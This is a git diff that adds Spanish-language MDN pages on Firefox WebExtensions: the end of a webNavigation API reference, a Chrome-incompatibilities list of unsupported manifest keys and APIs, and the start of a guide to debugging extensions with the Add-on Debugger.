+ <dd>
+ <p>Given a tab ID, retrieves information about all the frames it contains.</p>
+ </dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webNavigation.onBeforeNavigate")}}</dt>
+ <dd>
+ <p>Fired when the browser is about to start a navigation event.</p>
+ </dd>
+ <dt>{{WebExtAPIRef("webNavigation.onCommitted")}}</dt>
+ <dd>Fired when a navigation is committed. At least part of the new document has been received from the server and the browser has decided to switch to the new document.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.onDOMContentLoaded")}}</dt>
+ <dd>Fired when the <a href="https://developer.mozilla.org/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a> event is fired in the page.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.onCompleted")}}</dt>
+ <dd>Fired when a document, including the resources it refers to, is completely loaded and initialized. This is equivalent to the DOM <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/load">load</a></code> event.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.onErrorOccurred")}}</dt>
+ <dd>Fired when an error occurs and the navigation is aborted. This can happen if either a network error occurred, or the user aborted the navigation.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.onCreatedNavigationTarget")}}</dt>
+ <dd>Fired when a new window, or a new tab in an existing window, is created to host a navigation: for example, if the user opens a link in a new tab.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.onReferenceFragmentUpdated")}}</dt>
+ <dd>Fired if the <a class="external-icon external" href="https://en.wikipedia.org/wiki/Fragment_identifier">fragment identifier</a> for a page is changed.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.onTabReplaced")}}</dt>
+ <dd>
+ <p>Fired when the contents of the tab is replaced by a different (usually previously pre-rendered) tab.</p>
+ </dd>
+ <dt>{{WebExtAPIRef("webNavigation.onHistoryStateUpdated")}}</dt>
+ <dd>Fired when the page used the <a class="external external-icon" href="http://diveintohtml5.info/history.html">history API</a> to update the URL displayed in the browser's location bar.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("webextensions.api.webNavigation")}}</p>
+
+<div class="hidden note">
+<p>The "Chrome incompatibilities" section is included from <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities"> https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a> using the <a href="/en-US/docs/Template:WebExtChromeCompat">WebExtChromeCompat</a> macro.</p>
+
+<p>If you need to update this content, edit <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a>, then shift-refresh this page to see your changes.</p>
+</div>
+
+<h3 id="Edge_incompatibilities">Edge incompatibilities</h3>
+
+<p>Promises are not supported in Edge. Use callbacks instead.</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/webNavigation"><code>chrome.webNavigation</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/web_navigation.json"><code>web_navigation.json</code></a> in the Chromium code.</p>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html b/files/es/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html
new file mode 100644
index 0000000000..1dffe19399
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html
@@ -0,0 +1,15 @@
+---
+title: Browser support for JavaScript APIs
+slug: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs
+translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs
+---
+<div>{{AddonSidebar}}</div>
+
+<div>{{WebExtAllCompatTables}}</div>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html b/files/es/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html
new file mode 100644
index 0000000000..34668d6ba1
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html
@@ -0,0 +1,291 @@
+---
+title: Incompatibilidades con Chrome
+slug: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities
+---
+<p><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">WebExtensions está diseñado para ser compatible con las extensiones de Chrome y Opera: en la medida de lo posible, las extensiones escritas para esos navegadores deberían ejecutarse en Firefox con cambios mínimos.</span></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(51, 51, 51); font-family: arial, x-locale-body, sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;"><font><font>Sin embargo, Firefox cuenta actualmente con soporte para sólo un conjunto limitado de funciones y API compatibles con Chrome y Opera.<span> </span></font><font>Estamos trabajando en agregar más soporte, pero muchas características aún no son compatibles, y es posible que nunca admitamos algunas.</font></font></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(51, 51, 51); font-family: arial, x-locale-body, sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;"><font><font>En este artículo se enumeran todas las características y API que se admiten total o parcialmente en Firefox.<span> </span></font><font>Cuando una característica está parcialmente soportada, hemos indicado cuáles son las lagunas.</font></font></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(51, 51, 51); font-family: arial, x-locale-body, sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;"><font><font>Es seguro asumir que las funciones y las API que no se enumeran aquí en absoluto aún no son compatibles.</font></font></p>
+
+<h2 id="Funciones_de_manifest.json">Funciones de manifest.json</h2>
+
+<h3 id="Claves_completamente_compatibles">Claves completamente compatibles</h3>
+
+<ul>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code></li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></code></li>
+</ul>
+
+<h3 id="Claves_parcialmente_admitidas">Claves parcialmente admitidas</h3>
+
+<h4 id="Datos_de_fondo">Datos de fondo</h4>
+
+<p>Firefox no admite la propiedad <code>"persistent"</code>. Los scripts de fondo permanecen cargados todo el tiempo.</p>
+
+<h4 id="Scripts_de_contenido">Scripts de contenido</h4>
+
+<p>Firefox no admite actualmente:</p>
+
+<ul>
+ <li><code>include_globs</code></li>
+ <li><code>exclude_globs</code></li>
+ <li><code>match_about_blank</code></li>
+</ul>
+
+<h4 id="Permisos">Permisos</h4>
+
+<p><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Firefox aún no admite los siguientes permisos</span>:</p>
+
+<ul>
+ <li><code>activeTab</code></li>
+ <li><code>background</code></li>
+ <li><code>clipboardRead</code></li>
+ <li><code>clipboardWrite</code></li>
+ <li><code>geolocation</code></li>
+ <li><code>nativeMessaging</code></li>
+ <li><code>unlimitedStorage</code></li>
+</ul>
+
+<p><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Obviamente, también no admite permisos para las</span> <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API#Chrome_incompatibilities">APIs que no son compatibles</a>.</p>
+
+<h2 id="APIs_JavaScript">APIs JavaScript</h2>
+
+<h3 id="APIs_completamente_soportadas">APIs completamente soportadas</h3>
+
+<ul>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/alarms">alarmas</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus">Menú contextual</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a>
+  <ul>
+   <li><font><font>Las URL relativas pasadas a<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: normal; font-weight: normal; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word; font-size: medium; letter-spacing: normal; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>setPopup()</code><font><font>se resuelven en relación con el documento de la persona que llama, en lugar de con la raíz de la extensión</font></font> .</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="APIs_parcialmente_soportadas">APIs parcialmente soportadas</h3>
+
+<h4 id="marcadores">marcadores</h4>
+
+<ul>
+ <li>Firefox no admite:
+  <ul>
+   <li><code>getRecent()</code></li>
+   <li><code>search()</code></li>
+   <li><code>removeTree()</code> (<code>remove</code> también elimina carpetas no vacías)</li>
+   <li><code>onCreated</code></li>
+   <li><code>onRemoved</code></li>
+   <li><code>onChanged</code></li>
+   <li><code>onMoved</code></li>
+   <li><code>onChildrenReordered</code></li>
+   <li><code>onImportBegan</code></li>
+   <li><code>onImportEnded</code></li>
+   <li>BookmarkTreeNodeUnmodifiable</li>
+  </ul>
+ </li>
+ <li>Firefox tiene marcadores especiales como "Marcado recientemente" o "Visitado recientemente"</li>
+</ul>
+
+<h4 id="browserAction">browserAction</h4>
+
+<ul>
+ <li>Firefox no admite:
+  <ul>
+   <li><code>enable()</code> o <code>disable()</code>.</li>
+  </ul>
+ </li>
+ <li><font><font>Las URL relativas pasadas a<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: normal; font-weight: normal; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word; font-size: medium; letter-spacing: normal; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>setPopup()</code><font><font>se resuelven en relación con el documento de la persona que llama, en lugar de con la raíz de la extensión</font></font> .</li>
+</ul>
+
+<h4 id="cookies">cookies</h4>
+
+<ul>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>eventos onChanged pueden ser subtely diferentes</font></font></li>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>Creación de cookies de sesión<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: inherit; font-weight: inherit; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word;'>set</code><font><font>podría fallar</font></font></li>
+ <li><code class="prettyprint">getAllCookieStores</code> siempre<font><font> devuelve un almacén predeterminado y sin pestañas</font></font></li>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>el acceso a las cookies desde pestañas privadas es imposible</font></font></li>
+</ul>
+
+<h4 id="extension">extension</h4>
+
+<ul>
+ <li>Firefox  sólo soporta :
+  <ul>
+   <li><code>getBackgroundPage()</code></li>
+   <li><code>getURL()</code></li>
+   <li><code>inIncognitoContext</code> en los scripts de contenido</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="i18n">i18n</h4>
+
+<ul>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">En la API JavaScript API, Firefox solo soporta</span> <code>getMessage()</code>.</li>
+ <li>Firefox solo soporta los mensajes predefinidos <code>@@extension_id</code> y <code>@@ui_locale</code>.</li>
+ <li>Firefox no localiza archivos CSS.</li>
+ <li>Las cadenas para ser localizadas deben consistir enteramente de  <code>__MSG_foo__</code> con el fin de realizar una sustitución al crearlas.</li>
+</ul>
+
+<h4 id="notifications">notifications</h4>
+
+<ul>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Las únicas opciones de notificación admitidas son</span> :
+
+  <ul>
+   <li><code>iconUrl</code></li>
+   <li><code>title</code></li>
+   <li><code>message</code>.</li>
+  </ul>
+ </li>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Los únicos métodos soportados son</span> :
+  <ul>
+   <li><code>create()</code></li>
+   <li><code>clear()</code></li>
+   <li><code>getAll()</code>.</li>
+  </ul>
+ </li>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>El único evento soportado es<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: inherit; font-weight: inherit; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word;'>onClosed</code><font><font>.</font></font></li>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>Firefox no proporciona<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: inherit; font-weight: inherit; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word;'>byUser</code><font><font>datos.</font></font></li>
+</ul>
+
+<h4 id="Tiempo_de_ejecución">Tiempo de ejecución</h4>
+
+<ul>
+ <li>Firefox sólo admite:
+  <ul>
+   <li><code>onStartup()</code></li>
+   <li><code>getManifest()</code></li>
+   <li><code>getURL()</code></li>
+   <li><code>id</code></li>
+   <li><code>sendMessage()</code></li>
+   <li><code>onMessage</code></li>
+   <li><code>onConnect</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Almacenamiento">Almacenamiento</h4>
+
+<ul>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>El único área de almacenamiento que soporta Firefox es<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: inherit; font-weight: inherit; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word;'>local</code><font><font>.</font></font></li>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>Firefox no soporta<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: inherit; font-weight: inherit; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word;'>getBytesInUse()</code><font><font>o<span> </span></font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: inherit; font-weight: inherit; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word;'>clear))</code><font><font>.</font></font></li>
+</ul>
+
+<h4 id="tabs">tabs</h4>
+
+<ul>
+ <li>Firefox does not support:
+  <ul>
+   <li><code>getCurrent()</code></li>
+   <li><code>sendRequest()</code></li>
+   <li><code>getSelected()</code></li>
+   <li><code>duplicate()</code></li>
+   <li><code>highlight()</code></li>
+   <li><code>move()</code></li>
+   <li><code>detectLanguage()</code></li>
+   <li><code>captureVisibleTab()</code></li>
+   <li><code>getZoom()</code></li>
+   <li><code>setZoom()</code></li>
+   <li><code>getZoomSettings()</code></li>
+   <li><code>setZoomSettings()</code></li>
+  </ul>
+ </li>
+</ul>
+
+<p>Firefox treats <code>highlighted</code> and <code>active</code> as the same since Firefox cannot select multiple tabs.</p>
+
+<p>Firefox doesn't yet support the <code>callback</code> argument to <code>executeScript()</code>.</p>
+
+<h4 id="webNavigation">webNavigation</h4>
+
+<ul>
+ <li>Firefox does not support:
+  <ul>
+   <li><code>getFrame()</code></li>
+   <li><code>getAllFrames()</code></li>
+   <li><code>onCreatedNavigationTarget</code></li>
+   <li><code>onHistoryStateUpdated</code></li>
+   <li>transition types and qualifiers</li>
+   <li>Filtering</li>
+  </ul>
+ </li>
+</ul>
+
+<p><code>onReferenceFragmentUpdated</code> also triggers for <code>pushState</code>.</p>
+
+<h4 id="webRequest">webRequest</h4>
+
+<ul>
+ <li>Firefox does not support:
+  <ul>
+   <li><code>handlerBehaviorChanged()</code></li>
+   <li><code>onAuthRequired</code></li>
+   <li><code>onBeforeRedirect</code></li>
+   <li><code>onErrorOccurred</code></li>
+  </ul>
+ </li>
+ <li>Requests can be:
+  <ul>
+   <li>canceled only in <code>onBeforeRequest</code></li>
+   <li>modified/redirected only in <code>onBeforeSendHeaders</code></li>
+  </ul>
+ </li>
+ <li>Responses can be modified only in <code>onHeadersReceived</code>.</li>
+ <li>Filtering by <code>windowId</code> and <code>tabId</code> is not supported.</li>
+ <li>The <code>"requestBody"</code> instruction in <code>opt_extraInfoSpec</code> is not supported.</li>
+ <li>Redirection is not allowed in <code>onBeforeRequest</code> or <code>onHeadersReceived</code>, but is allowed in <code>onBeforeSendHeaders</code>.</li>
+ <li><code>requestId</code> is not included in the argument passed to the listener.</li>
+</ul>
+
+<h4 id="windows">windows</h4>
+
+<ul>
+ <li><code>onFocusChanged</code> will trigger multiple times for a given focus change.</li>
+ <li><code>create()</code> does not support the <code>focused</code>, <code>type</code>, or <code>state</code> options.</li>
+ <li><code>update()</code> only supports the <code>focused</code> option.</li>
+</ul>
+
+<h3 id="Planned_APIs">Planned APIs</h3>
+
+<p>We don't yet support the following APIs, but plan to, soon:</p>
+
+<ul>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/commands" rel="nofollow">commands</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/devtools" rel="nofollow">Devtools (mostly panels)</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/downloads" rel="nofollow">downloads</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/history" rel="nofollow">history</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/idle" rel="nofollow">idle</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/omnibox" rel="nofollow">omnibox</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/permissions" rel="nofollow">permissions</a></li>
+ <li><a class="external text" href="https://developer.chrome.com/extensions/runtime#method-connectNative" rel="nofollow">Native messaging (runtime.connectNative)</a></li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<h4 id="Localized_String_Interpolation">Localized String Interpolation</h4>
+
+<p>We currently do not support interpolation of localized strings <code>__MSG_</code> tokens in extension CSS files: {{bug(1209184)}}.</p>
+
+<h4 id="Relative_URLs">Relative URLs</h4>
+
+<p>We resolve URLs in injected CSS files relative to the CSS file itself, rather than to the page it's injected into.</p>
+
+<h3 id="Miscellaneous_incompatibilities">Miscellaneous incompatibilities</h3>
+
+<ul>
+ <li>Chrome allows any optional arguments to be omitted, even if followed by other arguments. Firefox currently supports this only under specific circumetances. We recommend only omitting optional arguments at the end of the arguments list, and using <code>null</code> for all other cases.</li>
+ <li>Firefox currently <a href="https://bugzil.la/932513">does not allow</a> the <code>{{jsxref("Statements/let", "let")}}</code> or <code>{{jsxref("Statements/const", "const")}}</code> statement in ordinary web pages or Web Extensions. While it is possible to enable support for Firefox's variant of the statement using a special <code>&lt;script&gt;</code> tag, this is not recommended. Instead, if your extension code uses <code>let</code> or <code>const</code> statements, we recommend that you <a href="/en-US/Add-ons/WebExtensions/Tips#Using_advanced_JavaScript_features_from_ECMAScript_6_and_7">transpile them using Babel</a> until support is turned on globally.</li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/depuración/index.html b/files/es/mozilla/add-ons/webextensions/depuración/index.html
new file mode 100644
index 0000000000..c24f9d07f5
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/depuración/index.html
@@ -0,0 +1,189 @@
+---
+title: Depuración
+slug: Mozilla/Add-ons/WebExtensions/Depuración
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Debugging
+---
+<div>{{AddonSidebar}}</div>
+
+<div class="note">
+<p>Las técnicas descritas aquí funcionan en Firefox 50 y versiones sucesivas. Si necesitas usar una versión anterior de Firefox, por favor ve al artículo <a href="/en-US/Add-ons/WebExtensions/Debugging_(before_Firefox_50)">debugging extensions using WebExtension APIs before Firefox 50</a>.</p>
+</div>
+
+<p>Este artículo explica cómo se pueden usar las herramientas de desarrollo de Firefox para depurar extensiones creadas con las WebExtension APIs.</p>
+
+<p>Una WebExtension puede consistir en varias partes distintas — scripts en segundo plano, popups, options pages, content scripts — y se tendrá que usar un proceso ligeramente distinto para depurar cada parte. Así, cada parte tendrá una sección principal en este artículo, y el objetivo es que esas secciones se puedan leer de forma independiente. Empezaremos presentando el Depurador de Add-on, que será usado para depurar la mayoría de las partes de un complemento.</p>
+
+<ul>
+</ul>
+
+<h2 class="western" id="El_Depurador_de_Add-on">El Depurador de Add-on</h2>
+
+<p>Para la mayor parte de este artículo utilizaremos el Depurador de Add-on. Para abrir el Depurador de Add-on:</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0cm;">abrir Firefox</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;">escribir "about:debugging" en la barra de direcciones</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;">marcar la casilla en la que pone "Activar depuración de complementos"</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;">hacer click en el botón "Depurar" al lado del complemento</p>
+ </li>
+ <li>
+  <p>hacer click en "Aceptar" en el cuadro de alerta</p>
+ </li>
+</ul>
+
+<p>Se abrirá entonces una nueva ventana. La ventana principal de Firefox se pondrá en primer plano, así que se tendrá que hacer click en la nueva ventana para que aparezca en primer plano.</p>
+
+<p>{{EmbedYouTube("HMozipAjrYA")}}</p>
+
+<p>Esta nueva ventana se llama "Herramientas de desarrollo" y contiene las herramientas de depuración que se usarán. La interfaz tiene varias pestañas en la parte de arriba que permiten moverse por las herramientas disponibles:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13861/toolbox-tabs.png" style="display: block; height: 417px; margin-left: auto; margin-right: auto; width: 876px;"></p>
+
+<p>En este artículo usaremos tres herramientas de depuración:</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0cm;"><a href="https://developer.mozilla.org/es/docs/Tools/Web_Console">La Consola</a>: muestra mensajes registrados por la extensión así como mensajes de error registrados por el navegador mientras ejecuta la extensión. También proporciona una línea de comandos, habilitando la ejecución de JavaScript en el contexto de la extensión.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;"><a href="https://developer.mozilla.org/es/docs/Tools/Debugger">El Depurador</a>: habilita el uso de breakpoints y watchpoints en el código JavaScript de la extensión, y examina y modifica su estado interno.</p>
+ </li>
+ <li>
+  <p><a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector">El Inspector</a>: habilita la revisión y modificación del HTML y CSS usado para construir las páginas de la extensión.</p>
+ </li>
+</ul>
+
+<h2 class="western" id="Depurando_scripts_en_segundo_plano">Depurando scripts en segundo plano</h2>
+
+<div class="note">
+<p>Los ejemplos de esta sección usan la extensión de ejemplo "notify-link-clicks-l10n". Para explorar las opciones, se puede encontrar este ejemplo en el repositorio <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a>.</p>
+</div>
+
+<p>Los <a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Scripts_en_segundo_plano">scripts en segundo plano</a> permanecen cargados durante el tiempo de vida de la extensión. Se cargan dentro de una “página en segundo plano” invisible: por defecto, es un documento HTML vacío, pero se puede especificar contenido HTML propio usando la palabra clave <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/background">"background"</a> en “manifest.json”.</p>
+
+<p>Se pueden depurar scripts en segundo plano usando el <a href="/en-US/Add-ons/WebExtensions/Debugging_(Firefox_50_onwards)#The_Add-on_Debugger">Depurador de Add-ons</a>.</p>
+
+<p>En la Consola del Depurador de Add-ons se puede ver un registro de las salidas, incluidas las llamadas a <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code> desde los propios scripts en segundo plano y cualquier error que el navegador encuentre al ejecutarlos. Es importante mencionar que la consola muestra todos los errores detectados por el navegador, no sólo los errores relacionados con el código de la extensión.</p>
+
+<p>Por ejemplo, la extensión de ejemplo <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> registra un mensaje de su script en segundo plano cuando recibe un mensaje de uno de sus otros scripts:</p>
+
+<p>{{EmbedYouTube("WDQsBU-rpN0")}}</p>
+
+<p>Usando la línea de comandos de la Consola, se pueden acceder y modificar los objetos creados por los scripts en segundo plano.</p>
+
+<p>Por ejemplo, aquí se hace un allamada a la función <code>notify()</code> definida en el script en segundo plano de la extensión:</p>
+
+<p>{{EmbedYouTube("g-Qgf8Mc2wg")}}</p>
+
+<p>Si se mira la ventana del Depurador, se pueden ver todos los scripts en segundo plano de la extensión. Se pueden definir breakpoints, ver el código paso a paso y hacer <a href="https://developer.mozilla.org/es/docs/Tools/Debugger">todo lo que es posible hacer en un depurador</a>.</p>
+
+<p>{{EmbedYouTube("MNeaz2jdmzY")}}</p>
+
+<p>Si se pulsa la tecla de Escape mientras se está en el Depurador, la ventana de Herramientas de desarrollo se dividirá en dos, con la parte de abajo ocupada ahora por la Consola. Ahora, mientras se esté en un breakpoint, se puede modificar el estado del programa usando la consola. Ver <a href="/en-US/docs/Tools/Web_Console/Split_console">Dividir la Consola</a> para más información.</p>
+
+<h2 class="western" id="Depurando_páginas_de_opciones">Depurando páginas de opciones</h2>
+
